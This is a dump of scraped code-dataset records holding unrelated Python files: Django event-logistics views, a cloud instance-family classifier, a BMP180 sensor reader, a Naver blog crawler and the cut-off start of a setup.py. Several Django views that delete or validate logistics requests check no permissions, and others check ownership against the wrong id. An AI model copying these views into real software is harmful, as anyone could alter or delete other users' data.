\"locations\": locations, \"event\": event})\n\ndef delete_event_logistic(request, id):\n\tif not Event.objects.filter(id=id, organizer__generaluser_ptr__user_ptr=request.user).exists() and not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tevent = Event.objects.get(id=id)\n\tservices = Requestservices.objects.filter(event=id)\n\tequipments = Requestequipment.objects.filter(event=id)\n\tlocations = Requestlocation.objects.filter(event=id)\n\n\tservices.delete()\n\tequipments.delete()\n\tlocations.delete()\n\n\tevent.state = 1\n\tevent.save()\n\n\tmessages.success(request, \"Logística eliminada com sucesso!\")\n\treturn redirect(\"event_details\", id=id)\n\ndef change_logistic_service(request, id):\n\tif not Event.objects.filter(id=id, organizer__generaluser_ptr__user_ptr=request.user).exists() and not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tservice_request = Requestservices.objects.get(id=id)\n\n\tform = RequestServicesForm({\n\t\t'start' : service_request.start.strftime('%Y-%m-%dT%H:%M'),\n\t\t'end' : service_request.end.strftime('%Y-%m-%dT%H:%M'),\n\t\t'quantity' : service_request.quantity\n\t})\n\n\tif(request.method == 'POST'):\n\t\tform = RequestServicesForm(request.POST)\n\n\t\tif(form.is_valid()):\n\t\t\tservice_request.start = form.instance.start\n\t\t\tservice_request.end = form.instance.end\n\t\t\tservice_request.quantity = form.instance.quantity\n\n\t\t\tservice_request.save()\n\t\t\treturn redirect('view_event_logistic', service_request.event.id)\n\t\n\treturn render(request, 'change_event_logistic.html', { \"form\" : form, \"name\" : \"serviço\", \"id_name\" : \"id_servicestype\", \"selected_id\" : service_request.servicestype.id })\n\ndef change_logistic_equipment(request, id):\n\tif not Event.objects.filter(id=id, organizer__generaluser_ptr__user_ptr=request.user).exists() and not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tequipment_request = Requestequipment.objects.get(id=id)\n\n\tform = RequestEquipmentForm({\n\t\t'start' : equipment_request.start.strftime('%Y-%m-%dT%H:%M'),\n\t\t'end' : equipment_request.end.strftime('%Y-%m-%dT%H:%M'),\n\t\t'quantity' : equipment_request.quantity\n\t})\n\n\tif(request.method == 'POST'):\n\t\tform = RequestEquipmentForm(request.POST)\n\t\t\n\t\tif(form.is_valid()):\n\t\t\tequipment_request.start = form.instance.start\n\t\t\tequipment_request.end = form.instance.end\n\t\t\tequipment_request.quantity = form.instance.quantity\n\n\t\t\tequipment_request.save()\n\t\t\treturn redirect('view_event_logistic', equipment_request.event.id)\n\t\n\treturn render(request, 'change_event_logistic.html', { \"form\" : form, \"name\" : \"equipamento\", \"id_name\" : \"id_typeequipment\", \"selected_id\" : equipment_request.typeequipment.id })\n\ndef change_logistic_location(request, id):\n\tif not Event.objects.filter(id=id, organizer__generaluser_ptr__user_ptr=request.user).exists() and not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tlocation_request = Requestlocation.objects.get(id=id)\n\n\tform = RequestLocationForm({\n\t\t'start' : location_request.start.strftime('%Y-%m-%dT%H:%M'),\n\t\t'end' : location_request.end.strftime('%Y-%m-%dT%H:%M'),\n\t\t'quantity' : location_request.quantity\n\t})\n\n\tif(request.method == 'POST'):\n\t\tform = RequestLocationForm(request.POST)\n\n\t\tif(form.is_valid()):\n\t\t\tlocation_request.start = form.instance.start\n\t\t\tlocation_request.end = form.instance.end\n\t\t\tlocation_request.quantity = form.instance.quantity\n\n\t\t\tlocation_request.save()\n\t\t\treturn redirect('view_event_logistic', location_request.event.id)\n\t\n\treturn render(request, 'change_event_logistic.html', { \"form\" : form, \"name\" : \"espaço\", \"id_name\" : \"id_locationtype\", \"selected_id\" : location_request.locationtype.id})\n\n\n\ndef delete_attrib_equipment(request, id):\n\tif not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tobj = Itemuse.objects.get(id=id)\n\tenviar_notificacao_automatica(request, NotificationAddr.RECUSAR_LOGISTICA_EQUIP, obj.id)\n\tobj.delete()\n\tmessages.success(request, \"Equipamento atribuído eliminado com sucesso!\")\n\treturn redirect('event_logistic_list', obj.event.id)\n\n\ndef delete_attrib_service(request, id):\n\tif not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tobj = Serviceuse.objects.get(id=id)\n\tenviar_notificacao_automatica(request, NotificationAddr.RECUSAR_LOGISTICA_SERVICE, obj.id)\n\tobj.delete()\n\tmessages.success(request, \"Serviço atribuído eliminado com sucesso!\")\n\treturn redirect('event_logistic_list', obj.event.id)\n\n\ndef delete_attrib_location(request, id):\n\tif not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tobj = Locationuse.objects.get(id=id)\n\tenviar_notificacao_automatica(request, NotificationAddr.RECUSAR_LOGISTICA_LOCATION, obj.id)\n\tobj.delete()\n\tmessages.success(request, \"Espaço atribuído eliminado com sucesso!\")\n\treturn redirect('event_logistic_list', obj.event.id)\n\ndef attrib_equipment(request, id):\n\tif not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\trequestequip = Requestequipment.objects.get(id=id)\n\n\tevent = Event.objects.get(id=requestequip.event.id)\n\n\titems = Item.objects.filter(typeequipment=requestequip.typeequipment)\n\n\tallequipmentuses = Itemuse.objects\n\t\n\tallequipments = allequipmentuses.filter(start__lte=requestequip.start, end__gte=requestequip.start) | allequipmentuses.filter(start__gte=requestequip.start, end__gte=requestequip.end) | allequipmentuses.filter(start__gte=requestequip.start, end__lte=requestequip.end) | allequipmentuses.filter(start__lte=requestequip.start, end__gte=requestequip.end) \n\t\n\tfor equipmentuse in allequipments:\n\t\tif items.filter(id=equipmentuse.item.id).exists() :\n\t\t\titems = items.exclude(id=equipmentuse.item.id)\n\n\tif request.method == 'POST':\n\t\tform = ItemuseForm(request.POST)\n\t\titem = request.POST['item']\n\t\t\n\n\t\tform.instance.item = Item.objects.get(id=item)\n\t\tform.instance.event = event\n\n\t\tif form.is_valid():\n\t\t\tobj = form.save()\n\n\t\t\trequestequip.quantity = requestequip.quantity-1\n\n\t\t\tif requestequip.quantity == 0:\n\t\t\t\trequestequip.delete()\n\t\t\telse:\n\t\t\t\trequestequip.save()\n\n\t\t\tenviar_notificacao_automatica(request, NotificationAddr.ATRIBUIR_LOGISTICA_EQUIP, obj.id)\n\t\t\tmessages.success(request, 'Equipamento atribuido com sucesso!') \n\t\t\treturn redirect('view_event_logistic', id=event.id)\n\t\telse:\n\t\t\tmessages.error(request, 'Formulario inválido!')\n\telse:\n\t\tform = ItemuseForm({\n\t\t\t'start' : requestequip.start.strftime('%Y-%m-%dT%H:%M'),\n\t\t\t'end' : requestequip.end.strftime('%Y-%m-%dT%H:%M')\n\t\t})\n\t\n\treturn render(request, 'logistic_validate_equipment.html', {'form' : form, 'requestequip': requestequip, 'items' : items, 'event' : event})\n\ndef attrib_service(request, id):\n\tif not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\trequestserv = Requestservices.objects.get(id=id)\n\n\tevent = Event.objects.get(id=requestserv.event.id)\n\n\tservices = Service.objects.filter(servicestype=requestserv.servicestype)\n\n\tallservicesuses = Serviceuse.objects\n\t\n\tallservices = allservicesuses.filter(start__lte=requestserv.start, end__gte=requestserv.start) | allservicesuses.filter(start__gte=requestserv.start, end__gte=requestserv.end) | allservicesuses.filter(start__gte=requestserv.start, end__lte=requestserv.end) | allservicesuses.filter(start__lte=requestserv.start, end__gte=requestserv.end) \n\t\n\n\tprint(allservices)\n\n\tfor serviceuse in allservices:\n\t\tif services.filter(id=serviceuse.service.id).exists() :\n\t\t\tservices = services.exclude(id=serviceuse.service.id)\n\n\tif request.method == 'POST':\n\t\tform = ServiceuseForm(request.POST)\n\t\tservice = request.POST['service']\n\t\t\n\n\t\tform.instance.service = Service.objects.get(id=service)\n\t\tform.instance.event = event\n\n\t\n\n\t\tif form.is_valid():\n\t\t\tobj = form.save()\n\n\n\t\t\trequestserv.quantity = requestserv.quantity-1\n\n\t\t\tif requestserv.quantity == 0:\n\t\t\t\trequestserv.delete()\n\t\t\telse:\n\t\t\t\trequestserv.save()\n\n\t\t\tenviar_notificacao_automatica(request, NotificationAddr.ATRIBUIR_LOGISTICA_SERVICE, obj.id)\n\t\t\tmessages.success(request, 'Serviço atribuido com sucesso!') \n\t\t\treturn redirect('view_event_logistic', id=event.id)\n\t\telse:\n\t\t\tmessages.error(request, 'Formulario inválido!')\n\telse:\n\t\tform = ServiceuseForm({\n\t\t\t'start' : requestserv.start.strftime('%Y-%m-%dT%H:%M'),\n\t\t\t'end' : requestserv.end.strftime('%Y-%m-%dT%H:%M')\n\t\t})\n\t\n\treturn render(request, 'logistic_validate_service.html', {'form' : form, 'requestserv': requestserv, 'services' : services,'event' : event})\n\n\ndef attrib_location(request, id):\n\tif not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\trequestlocation = Requestlocation.objects.get(id=id)\n\n\tevent = Event.objects.get(id=requestlocation.event.id)\n\n\tlocations = Location.objects.filter(locationtype=requestlocation.locationtype)\n\n\talllocationuses = Locationuse.objects\n\t\n\talllocations = alllocationuses.filter(start__lte=requestlocation.start, end__gte=requestlocation.start) | alllocationuses.filter(start__gte=requestlocation.start, end__gte=requestlocation.end) | alllocationuses.filter(start__gte=requestlocation.start, end__lte=requestlocation.end) | alllocationuses.filter(start__lte=requestlocation.start, end__gte=requestlocation.end) \n\t\n\tfor locationuse in alllocations:\n\t\tif locations.filter(id=locationuse.location.id).exists() :\n\t\t\tlocations = locations.exclude(id=locationuse.location.id)\n\n\tif request.method == 'POST':\n\t\tform = LocationuseForm(request.POST)\n\t\tlocation = request.POST['location']\n\t\t\n\n\t\tform.instance.location = Location.objects.get(id=location)\n\t\tform.instance.event = event\n\n\t\tif form.is_valid():\n\t\t\tobj = form.save()\n\n\t\t\trequestlocation.quantity = requestlocation.quantity-1\n\t\t\t\n\t\t\tif requestlocation.quantity == 0:\n\t\t\t\trequestlocation.delete()\n\t\t\telse:\n\t\t\t\trequestlocation.save()\n\t\t\t\n\t\t\tprint(obj.id)\n\t\t\tenviar_notificacao_automatica(request, NotificationAddr.ATRIBUIR_LOGISTICA_LOCATION, obj.id)\n\t\t\tmessages.success(request, 'Espaço atribuido com sucesso!') \n\t\t\treturn redirect('view_event_logistic', id=event.id)\n\t\telse:\n\t\t\tmessages.error(request, 'Formulario inválido!')\n\telse:\n\t\tform = LocationuseForm({\n\t\t\t'start' : requestlocation.start.strftime('%Y-%m-%dT%H:%M'),\n\t\t\t'end' : requestlocation.end.strftime('%Y-%m-%dT%H:%M')\n\t\t})\n\t\n\treturn render(request, 'logistic_validate_location.html', {'form' : form, 'requestlocation': requestlocation, 'locations' : locations, 'event' : event})\n\ndef validate_logistics(request, id):\n\tif not Administrator.objects.filter(generaluser_ptr=request.user.id).exists():\n\t\treturn redirect('/')\n\tevent = Event.objects.get(id=id)\n\tevent.state = 4\n\tevent.save()\n\treturn redirect(\"event_details\", id)\n\ndef end_event(request, id):\n\tevent = Event.objects.get(id=id)\n\tevent.state = 5\n\tevent.save()\n\treturn redirect(\"event_details\", id)\n\n# Views para apagar pedidos de logistica\n\ndef delete_service(request, id, num):\n\tservice = Requestservices.objects.filter(id=id)\n\tservice.delete()\n\treturn redirect(\"view_event_logistic\", id=num)\n\ndef delete_equipment(request, id, num):\n\tequipment = Requestequipment.objects.filter(id=id)\n\tequipment.delete()\n\treturn redirect(\"view_event_logistic\", id=num)\n\ndef delete_location(request, id, num):\n\tlocation = Requestlocation.objects.filter(id=id)\n\tlocation.delete()\n\treturn redirect(\"view_event_logistic\", id=num)\n\ndef validate_service(request, id):\n\tservice = Requestservices.objects.get(id=id)\n\tservice.valid = True\n\tservice.save()\n\treturn redirect(\"view_event_logistic\", id=service.event.id)\n\ndef invalidate_service(request, id):\n\tservice = Requestservices.objects.get(id=id)\n\tservice.valid = False\n\tservice.save()\n\treturn redirect(\"view_event_logistic\", id=service.event.id)\n\ndef validate_equipment(request, id):\n\tequipment = Requestequipment.objects.get(id=id)\n\tequipment.valid = True\n\tequipment.save()\n\treturn redirect(\"view_event_logistic\", id=equipment.event.id)\n\ndef invalidate_equipment(request, id):\n\tequipment = Requestequipment.objects.get(id=id)\n\tequipment.valid = False\n\tequipment.save()\n\treturn redirect(\"view_event_logistic\", id=equipment.event.id)\n\ndef validate_location(request, id):\n\tlocation = Requestlocation.objects.get(id=id)\n\tlocation.valid = True\n\tlocation.save()\n\treturn redirect(\"view_event_logistic\", id=location.event.id)\n\ndef invalidate_location(request, id):\n\tlocation = Requestlocation.objects.get(id=id)\n\tlocation.valid = False\n\tlocation.save()\n\treturn redirect(\"view_event_logistic\", id=location.event.id)","sub_path":"backend/pre_events/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":18155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"510647150","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 30 17:49:44 2019\n\n@author: Brian\n\"\"\"\n\nimport sys\nimport os\nimport pandas as pd\nimport numpy as np\nfrom pandas import DataFrame as df\nimport requests\nimport json\nimport math\nimport time\n\n\nfamily_filter = 1 #0 -> no family filter/ 1 -> with family filter\n\n\n####read instance.csv and transfer to tag_dict and field_dict\ndef instance_csv_call(provider):\n instance_list = []\n cloud_data = pd.read_csv(\"C:\\\\Users\\\\Brian\\\\Desktop\\\\cloud_reference\\\\%s_instance.csv\" % provider)\n cloud_nd_array = cloud_data.values\n version_list = [\"v1\", \"v2\", \"v3\", \"v4\", \"v5\", \"v6\"]\n\n for i in range(len(cloud_nd_array)):\n instance = cloud_nd_array[i][1]\n\n if provider == \"azure\":\n if instance[-2:] in version_list:\n for item in version_list:\n if item in instance and \"-\" in instance: # E32-16sv3\n output_string_list = instance.split(item)\n output_string = output_string_list[0].lower() + \"-\" + item\n elif item in instance and \"-\" not in instance: # E48asv4\n output_string_list = cloud_nd_array[i][1].split(item)\n output_string = output_string_list[0].lower() + item\n else:\n output_string = cloud_nd_array[i][1].lower()\n\n output_instance = \"sles-enterprise-basic-\" + output_string + \"-standard\"\n instance_list.append(output_instance)\n\n #### old code\n #output_instance = \"sles-enterprise-basic-\" + instance.lower() + \"-standard\"\n #instance_list.append(output_instance)\n\n else:\n output_instance = instance\n instance_list.append(output_instance)\n\n #print(instance_list)\n #print(len(instance_list))\n return(instance_list)\n\ndef region_csv_call(provider):\n region_list = []\n cloud_data = pd.read_csv(\"C:\\\\Users\\\\Brian\\\\Desktop\\\\cloud_reference\\\\%s_region.csv\" % provider)\n cloud_nd_array = cloud_data.values\n\n for i in range(len(cloud_nd_array)):\n region = cloud_nd_array[i][1]\n region_list.append(region)\n\n #print(set(region_list))\n #print(len(set(region_list)))\n return(set(region_list))\n\ndef to_csv(stackpoint_filter_list):\n\n provider_list = []\n instance_list = []\n region_list = []\n family_list = []\n\n for i in stackpoint_filter_list:\n provider_list.append(i['provider'])\n region_list.append(i['region'])\n instance_list.append(i['instance'])\n family_list.append(i['family'])\n\n stackpoint_dict = {\"provider\": provider_list, \"region\": region_list, \"instance\": instance_list, \"family\": family_list}\n #print(stackpoint_dict)\n\n stackpoint_data = pd.DataFrame(stackpoint_dict, columns=[\"provider\", \"region\", \"instance\",\"family\"])\n #print(stackpoint_data)\n\n stackpoint_data.to_csv(\"C:\\\\Users\\\\Brian\\\\Desktop\\\\cloud_reference\\\\no_filter.csv\",index=False)\n\ndef no_famil_to_csv(stackpoint_filter_list):\n\n provider_list = []\n instance_list = []\n region_list = []\n family_list = []\n\n for i in stackpoint_filter_list:\n provider_list.append(i['provider'])\n region_list.append(i['region'])\n instance_list.append(i['instance'])\n\n stackpoint_dict = {\"provider\": provider_list, \"region\": region_list, \"instance\": instance_list}\n # print(stackpoint_dict)\n\n stackpoint_data = pd.DataFrame(stackpoint_dict, columns=[\"provider\", \"region\", \"instance\"])\n # print(stackpoint_data)\n\n stackpoint_data.to_csv(\"C:\\\\Users\\\\Brian\\\\Desktop\\\\cloud_reference\\\\no_filter_no_family.csv\",index=False)\n\nif __name__ == '__main__':\n\n \"\"\"\n provider_list = [\"aws\",\"azure\",\"gcp\"]\n for i in provider_list:\n instance_csv_call(i)\n region_csv_call(i)\n \"\"\"\n stackpoint_filter_list = []\n\n # aws family set\n aws_family_dict = {\n \"general-purpose\": [\"t3\",\"t2\",\"m5\",\"m5d\",\"m5n\",\"m5dn\",\"m4\",\"m3\",\"m2\",\"m1\"],\n \"general-purpose-arm\": [\"a1\",\"m6g\",\"m6gd\"],\n \"general-purpose-amd\": [\"t3a\", \"m5a\", \"m5ad\"],\n \"compute-optimized\": [\"c5\", \"c5d\", \"c5n\", \"c4\", \"c3\", \"cc2\"],\n \"compute-optimized-arm\": [\"c6g\", \"c6gd\"],\n \"compute-optimized-amd\": [\"c5a\", \"c5ad\"],\n \"memory-optimized\": [\"r5\", \"r5d\", \"r5n\", \"r5dn\", \"r4\", \"r3\", \"x1e\", \"x1\", \"u-\", \"z1d\"],\n \"memory-optimized-arm\": [\"r6g\", \"r6gd\"],\n \"memory-optimized-amd\": [\"r5a\", \"r5ad\"],\n \"accelerated-computing\": [\"p3\", \"p3dn\", \"p2\", \"inf1\", \"g4dn\", \"g3\", \"g2\", \"f1\"],\n \"storage-optimized\": [\"i3\", \"i3en\", \"i2\", \"d2\", \"h1\"]\n }\n\n aws_general_purpose = [\"t3\",\"t2\",\"m5\",\"m5d\",\"m5n\",\"m5dn\",\"m4\",\"m3\",\"m2\",\"m1\"]\n aws_general_purpose_arm = [\"a1\",\"m6g\",\"m6gd\"]\n aws_general_purpose_amd = [\"t3a\",\"m5a\",\"m5ad\"]\n aws_compute_optimized = [\"c5\",\"c5d\",\"c5n\",\"c4\",\"c3\",\"cc2\"]\n aws_compute_optimized_arm = [\"c6g\",\"c6gd\"]\n aws_compute_optimized_amd = [\"c5a\",\"c5ad\"]\n aws_memory_optimized = [\"r5\",\"r5d\",\"r5n\",\"r5dn\",\"r4\",\"r3\",\"x1e\",\"x1\",\"u-\",\"z1d\"]\n aws_memory_optimized_arm = [\"r6g\",\"r6gd\"]\n aws_memory_optimized_amd = [\"r5a\",\"r5ad\"]\n aws_accelerated_computing = [\"p3\",\"p3dn\",\"p2\",\"inf1\",\"g4dn\",\"g3\",\"g2\",\"f1\"]\n aws_storage_optimized = [\"i3\",\"i3en\",\"i2\",\"d2\",\"h1\"]\n\n # azure family set\n azure_family_dict = {\n \"general-purpose\": [\"a\"], # b series 目前不考慮\n \"burstable\": [\"b\"],\n \"compute-optimized\": [\"f\"],\n \"memory-optimized\": [\"e\", \"d\", \"g\", \"m\", \"s\"],\n \"storage-optimized\": [\"l\"],\n \"gpu\": [\"n\"],\n \"high-performance\": [\"h\"]\n }\n\n #azure_general_purpose = [\"b\",\"a\"]\n azure_general_purpose = [\"a\"] # b series 目前不考慮\n azure_burstable = [\"b\"]\n azure_compute_optimized = [\"f\"]\n azure_memory_optimized = [\"e\",\"d\",\"g\",\"m\",\"s\"]\n azure_storage_optimized = [\"l\"]\n azure_gpu = [\"n\"]\n azure_high_performance = [\"h\"]\n\n # gcp family set\n gcp_family_dict = {\n \"general-purpose\": [\"n1\", \"n2\"],\n \"general-purpose-amd\": [\"n2d\"],\n \"general-purpose-amd-intel\": [\"e2\"],\n \"compute-optimized\": [\"c2\"],\n \"memory-optimized\": [\"m1\", \"m2\"]\n }\n\n gcp_general_purpose = [\"n1\",\"n2\"]\n gcp_general_purpose_amd = [\"n2d\"]\n gcp_general_purpose_amd_intel = [\"e2\"]\n gcp_compute_optimized = [\"c2\"]\n gcp_memory_optimized = [\"m1\",\"m2\"]\n\n if family_filter == 0:\n # without family\n provider_list = [\"aws\",\"azure\",\"gcp\"]\n for provider in provider_list:\n for region in region_csv_call(provider):\n for instance in instance_csv_call(provider):\n temp = {\n \"provider\": provider,\n \"region\": region,\n \"instance\": instance\n }\n stackpoint_filter_list.append(temp)\n #print(all_list)\n #print(len(all_list))\n no_famil_to_csv(stackpoint_filter_list)\n else:\n # with family\n provider_list = [\"aws\",\"azure\",\"gcp\"]\n for provider in provider_list:\n for region in region_csv_call(provider):\n for instance in instance_csv_call(provider):\n temp = {\n \"provider\": provider,\n \"region\": region,\n \"instance\": instance\n }\n if provider == \"aws\":\n temp_list = instance.split(\".\")\n instance_title = temp_list[0]\n # --new--\n temp.update({\n \"family\": \"na\"\n })\n for family, family_list in aws_family_dict.items():\n if instance_title in family_list:\n temp.update({\n \"family\": family\n })\n # --old--\n \"\"\"\n if instance_title in aws_general_purpose:\n temp.update({\n \"family\": \"general-purpose\"\n })\n elif instance_title in aws_general_purpose_arm:\n temp.update({\n \"family\": \"general-purpose-arm\"\n })\n elif instance_title in aws_general_purpose_amd:\n temp.update({\n \"family\": \"general-purpose-amd\"\n })\n elif instance_title in aws_compute_optimized_arm:\n temp.update({\n \"family\": \"compute-optimized-arm\"\n })\n elif instance_title in aws_compute_optimized_amd:\n temp.update({\n \"family\": \"compute-optimized-amd\"\n })\n elif instance_title in aws_compute_optimized:\n temp.update({\n \"family\": \"compute-optimized\"\n })\n elif instance_title in aws_memory_optimized:\n temp.update({\n \"family\": \"memory-optimized\"\n })\n elif instance_title in aws_compute_optimized_arm:\n temp.update({\n \"family\": \"memory-optimized-arm\"\n })\n elif instance_title in aws_memory_optimized_amd:\n temp.update({\n \"family\": \"memory-optimized-amd\"\n })\n elif instance_title in aws_accelerated_computing:\n temp.update({\n \"family\": \"gpu\"\n })\n elif instance_title in aws_storage_optimized:\n temp.update({\n \"family\": \"storage-optimized\"\n })\n else:\n temp.update({\n \"family\": \"na\"\n })\n \"\"\"\n if provider == \"azure\":\n temp_list = instance.split(\"-\")\n instance_title = temp_list[3] #a2v2/d1v2\n instance_capital = temp_list[3][0] #\"a\"/\"d\"/\"g\"\n #print(instance_capital)\n if \"v2\" in instance_title:\n instance_title = instance_title.replace(\"v2\",\"\") #d1\n elif \"v3\" in instance_title:\n instance_title = instance_title.replace(\"v3\",\"\")\n elif \"v4\" in instance_title:\n instance_title = instance_title.replace(\"v4\",\"\")\n elif \"v5\" in instance_title:\n instance_title = instance_title.replace(\"v5\",\"\")\n\n if instance_title == \"d1\" or instance_title == \"d2\" or instance_title == \"d3\" or instance_title == \"d4\" or instance_title == \"d5\" or \\\n instance_title == \"ds1\" or instance_title == \"ds2\" or instance_title == \"ds3\" or instance_title == \"ds4\" or instance_title == \"ds5\" or \\\n instance_title == \"d8\" or instance_title == \"d16\" or instance_title == \"d32\" or instance_title == \"d64\" or \\\n instance_title == \"d2s\" or instance_title == \"d4s\" or instance_title == \"d8s\" or instance_title == \"d16s\" or instance_title == \"d32s\" or instance_title == \"d64s\":\n temp.update({\n \"family\": \"general-purpose\"\n })\n #print(instance_title)\n elif instance_title == \"d2as\" or instance_title == \"d4as\" or instance_title == \"d8as\" or instance_title == \"d16as\" or \\\n instance_title == \"d32as\" or instance_title == \"d48as\" or instance_title == \"d64as\" or instance_title == \"d96as\" or \\\n instance_title == \"d2a\" or instance_title == \"d4a\" or instance_title == \"d8a\" or instance_title == \"d16a\" or \\\n instance_title == \"d32a\" or instance_title == \"d48a\" or instance_title == \"d64a\" or instance_title == \"d96a\":\n temp.update({\n \"family\": \"general-purpose-amd\"\n })\n elif instance_capital in azure_general_purpose:\n temp.update({\n \"family\": \"general-purpose\"\n })\n #print(instance_title)\n #print(instance_capital)\n elif instance_capital in azure_compute_optimized:\n temp.update({\n \"family\": \"compute-optimized\"\n })\n elif instance_title == \"e2as\" or instance_title == \"e4as\" or instance_title == \"e8as\" or instance_title == \"e16as\" or \\\n instance_title == \"e32as\" or instance_title == \"e48as\" or instance_title == \"e64as\" or instance_title == \"e96as\" or \\\n instance_title == \"e2a\" or instance_title == \"e4a\" or instance_title == \"e8a\" or instance_title == \"e16a\" or \\\n instance_title == \"e32a\" or instance_title == \"e48a\" or instance_title == \"e64a\" or instance_title == \"e96a\":\n temp.update({\n \"family\": \"memory-optimized-amd\"\n })\n elif instance_capital in azure_memory_optimized:\n temp.update({\n \"family\": \"memory-optimized\"\n })\n elif instance_capital in azure_storage_optimized:\n temp.update({\n \"family\": \"storage-optimized\"\n })\n elif instance_capital in azure_gpu:\n temp.update({\n \"family\": \"gpu\"\n })\n elif instance_capital in azure_high_performance:\n temp.update({\n \"family\": \"high-performance\"\n })\n elif instance_capital in azure_burstable:\n temp.update({\n \"family\": \"burstable\"\n })\n else:\n temp.update({\n \"family\": \"na\"\n })\n if provider == \"gcp\":\n temp_list = instance.split(\"-\")\n #instance_title = temp_list[4].lower() #standard/highcpu/highmem\n instance_title = temp_list[3].lower() # standard/highcpu/highmem\n #print(instance_title)\n # --new--\n temp.update({\n \"family\": \"na\"\n })\n for family, family_list in gcp_family_dict.items():\n if instance_title in family_list:\n temp.update({\n \"family\": family\n })\n # --old--\n \"\"\"\n if instance_title in gcp_general_purpose:\n temp.update({\n \"family\": \"general-purpose\"\n })\n elif instance_title in gcp_general_purpose_amd:\n temp.update({\n \"family\": \"general-purpose-amd\"\n })\n elif instance_title in gcp_general_purpose_amd_intel:\n temp.update({\n \"family\": \"general-purpose-amd-intel\"\n })\n elif instance_title in gcp_compute_optimized:\n temp.update({\n \"family\": \"compute-optimized\"\n })\n elif instance_title in gcp_memory_optimized:\n temp.update({\n \"family\": \"memory-optimized\"\n })\n else:\n temp.update({\n \"family\": \"na\"\n })\n \"\"\"\n stackpoint_filter_list.append(temp)\n #print(stackpoint_filter_list)\n #print(len(stackpoint_filter_list))\n to_csv(stackpoint_filter_list)\n","sub_path":"fedemeter_cost_db_prepare/cloud_reference/no_filter.py","file_name":"no_filter.py","file_ext":"py","file_size_in_byte":17917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"348625610","text":"#--------------------------------------------------------------------\n#File: \tbmp_util.py\n#Author: F.Kesel\n#Date: \t29.12.2015\n#Purpose:Functions for the BMP180 sensor \n#--------------------------------------------------------------------\n\nimport os, time, sys\nimport re\nimport subprocess\n\ndateTime = time.localtime() #Get time and date\nday = time.strftime(\"%d.%m\", dateTime)\nmonth = time.strftime(\"%m.%y\", dateTime)\nhour = time.strftime(\"%H:%M\", dateTime)\ndate = time.strftime(\"%d.%m.%Y\", dateTime)\n\n#logfiles\nlogTemp = \"/home/frank/python/bmp180/logs/temp\" + day \nlogPress = \"/home/frank/python/bmp180/logs/press\" + month \n\n#Read temperature and pressure from BMP180 sensor\n#return: list with 2 strings: [0]: temperature, [1]: pressure (sea level)\ndef readBMP180():\n\tvalues = [\"\", \"\"]\n\t#Start bmp180 program\n\toutput = subprocess.Popen([\"/home/frank/bin/bmp180\"], stdout=subprocess.PIPE)\n\t#Read values from stdout of bmp180\n\tvalueString = output.stdout.read()\n\t#Find the numbers in stdout (must be temperature and pressure)\n\tnumbers = re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\", valueString)\n\ttemperature = numbers[0]\n\tpressure = float(numbers[1])\n\tpSea = pressure * 1.058 #Calculate pressure at sea level\n\tvalues[0] = temperature\n\tvalues[1] = str(\"{:.2f}\".format(pSea)) #2 digits after comma\n\treturn values\n","sub_path":"lib/bmp_util.py","file_name":"bmp_util.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"313552193","text":"#\n# version 1.0.0\n# Author: seol \n# The number of characters in the blog list (multiple)\n#\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nfrom utility.basic_utility import BasicUtility\nfrom const.naver_crawling_const import NaverCrawlingConst\n\n\nbasicUtil = BasicUtility()\nwhile True :\n headers = {'User-Agent': NaverCrawlingConst.HEADER_WINDOW_CHROME}\n\n print(NaverCrawlingConst.SEARCH_QUESTION)\n searchText = input()\n searchCount = basicUtil.getSearchCount(NaverCrawlingConst.RANK_RANGE_QUESTION)\n queryCount = basicUtil.getSplitCount(searchCount, NaverCrawlingConst.LIST_SPLIT_COUNT)\n \n blogUrlList = []\n searchCounting=0\n\n #Searched list in Blog\n for i in range(queryCount):\n startNum = str(i * NaverCrawlingConst.LIST_SPLIT_COUNT + 1)\n searchUrl = basicUtil.getSearchUrl(searchText\n ,startNum\n ,NaverCrawlingConst.SEARCH_URL\n ,NaverCrawlingConst.BLOG_SEARCH_URL)\n\n soup = basicUtil.getSoup(searchUrl, headers)\n blogContents = soup.select(NaverCrawlingConst.BLOG_CONTENT_LIST_SELECTOR)\n\n for blogContent in blogContents:\n searchCounting += 1\n if(searchCounting>searchCount):\n break\n print(str(searchCounting)+'. 제목: '+blogContent.text+', URL: '+blogContent.get('href'))\n blogUrlList.append(blogContent.get('href')) #url list\n print()\n counting=0 \n \n #The number of characters in the list\n for i in range(len(blogUrlList)):\n counting += 1\n url = blogUrlList[i]\n soup = basicUtil.getSoup(url, headers)\n contentCount = basicUtil.getBlogContentCountResult(url, soup)\n print(str(counting)+NaverCrawlingConst.RESULT_OVERLAP_TEXT+str(contentCount))\n print()\n \n if(basicUtil.isProgramEnd()):\n break","sub_path":"naver blog/text_count_by_rank_in_nblog_m.py","file_name":"text_count_by_rank_in_nblog_m.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"125192602","text":"from os import name, chmod, unlink\nfrom pathlib import Path\nfrom re import search\nfrom subprocess import Popen, PIPE\nfrom sys import stderr, exit\nfrom tempfile import gettempdir\n\nfrom setuptools import setup, 